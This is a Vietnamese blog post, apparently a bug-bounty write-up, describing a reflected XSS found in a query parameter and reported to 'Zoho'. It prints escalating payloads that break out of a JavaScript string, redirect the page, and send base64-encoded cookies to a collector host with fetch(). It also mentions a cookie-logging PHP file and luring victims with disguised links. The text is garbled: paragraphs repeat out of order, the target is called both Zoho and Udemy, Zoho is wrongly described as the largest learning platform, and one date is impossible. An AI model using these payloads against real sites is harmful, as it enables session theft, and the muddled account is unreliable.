Tôi đã phát hiện lỗ hổng trên Zoho như thế nào?
Xin chào, tớ là JOS_FAIRY đây! Bài viết này sẽ kể về quá trình tớ phát hiện lỗ hổng bảo mật và báo cáo cho Zoho nhé!
Trước tiên, với ai chưa biết thì Zoho là nền tảng học tập trực tuyến lớn nhất thế giới.
Khoảng 1 tuần trước, vào một ngày đẹp trời, tớ đã được học trực tuyến tại Zoho và bắt đầu đến cơ duyên.
Lỗ hổng bảo mật trên Zoho được phát hiện ra như nào?
Khi truy cập vào thông tin cá nhân và tớ truy cập bất kỳ thông tin người dùng nào của trang, URL của trang lập trứ nối thêm một chuỗi truy vấn (query string)Như hình dưới đây:
Mình liền kiểm tra lỗi bằng cách thử thay đổi giá trị trực tiếp từ URL, ví dụ sửa URL trong hình thành: https://xxx/#/portal/users/registrants?talkId=joshoangtien
Xem mã nguồn và Ctrl+F tìm theo chuỗi “joshoangtien” để xác định các vị trí chuỗi được in lại trong mã nguồn:
Hmm… có gì đó không ổn lắm, kí tự “&” phía sau chuỗi joshoangtien phía trên đã được mã hóa thành “&”, nhưng ký tự ở ngay sau đó vài dòng thì không hề bị mã hóa.
Giờ thử chèn payload kiểm thử XSS cơ bản vào xem. Và cuối cùng Tada!! Thành công =))
Chưa hẳn dừng lại ở đây, mình thử kết hợp dấu ': cho mã nguồn render lại. Nhưng không thành công vì dấu chấm phẩy bị lọc khỏi mã nguồn. Vậy là không thể thoát khỏi chuỗi khai báo biến, nên tớ sẽ chèn payload bằng cách nối chuỗi. Thử chuyển hướng xem:
https://xxx/#/portal/users/registrants?talkld=%27+location=%27http://example.com%27+%27
Trang không chuyển hướng, nguyên nhân là do lỗi cú pháp khi nối chuỗi. Sửa lại chút nào:
Bằng cách sử dụng dấu ngoặc đơn, đoạn code trong ngoặc sẽ được thực thi trước khi nối chuỗi. Trang đã chuyển hướng như mong đợi. Sử dụng tiếp document.cookie kết hợp với base64 và nối chuỗi, ta được:
Trang lập tức chuyển hướng sang địa chỉ: http://localhost/xxx/?c=XXX
Trong đó, XXX là cookie đã được mã hóa base64. Tớ code lẹ một file PHP để giải mã base64 và lưu lại cookie:
https://xxx/#/portal/users/registrants?talkld=%27+(location=%27http://example.com%27)+%27
Bằng cách sử dụng dấu ngoặc đơn, đoạn code trong ngoặc sẽ được thực thi trước khi nối chuỗi. Trang đã chuyển hướng như mong đợi. Sử dụng tiếp document.cookie kết hợp với base64 và nối chuỗi, ta được:
https://xxx/#/portal/users/registrants?talkld=%27+(location=%27http://localhost/xxx/?c=%27+btoa(document.cookie))+%27
Trang lập tức chuyển hướng sang địa chỉ: http://localhost/xxx/?c=XXX
Trong đó, XXX là cookie đã được mã hóa base64. Tớ code lẹ một file PHP để giải mã base64 và lưu lại cookie:
Mọi thứ đều OK, file PHP tạo được file logs.txt và ghi cookie vào. Giờ chúng ta tiếp tục tối ưu payload tấn công nhé. Việc chuyển hướng sẽ khiến nạn nhân cảm thấy nghi ngờ. Vì thế, tớ thử thay thành đoạn mã sau:
Nhưng khi chạy thử thì phát hiện ra Udemy còn mã hóa cả khoảng trắng, khiến đoạn code trên bị lỗi khi khởi tạo object Image.
Tớ liền bypass bằng cách sử dụng Fetch API. URL hoàn chỉnh:
Kết hợp với một thủ thuật HTML nhỏ vậy là kẻ tấn công có thể dễ dàng dụ nạn nhân nhấn vào liên kết trông có vẻ rất bình thường...
new Image().src = “”
Nhưng khi chạy thử thì phát hiện ra Udemy còn mã hóa cả khoảng trắng, khiến đoạn code trên bị lỗi khi khởi tạo object Image.
Tớ liền bypass bằng cách sử dụng Fetch API. URL hoàn chỉnh:
https://xxx/#/portal/users/registrants?talkld=%27+(fetch(%27http://localhost/udemy/?c=%27+btoa(document.cookie)))+%27
Kết hợp với một thủ thuật HTML nhỏ vậy là kẻ tấn công có thể dễ dàng dụ nạn nhân nhấn vào liên kết trông có vẻ rất bình thường...
Timeline
- 54/03/2020: Tớ gửi thông báo lỗ hổng tới Zoho thông qua Mail Support.
- 05/03/2020: Zoho đã đóng báo cáo và phản hồi lại. Tớ kiểm tra cũng thấy lỗ hổng được khắc phục.
- 05/03/2020: Cùng ngày Zoho đã thưởng cho tớ với $195,10 và gửi lời hợp tác với mình.
Đăng nhận xét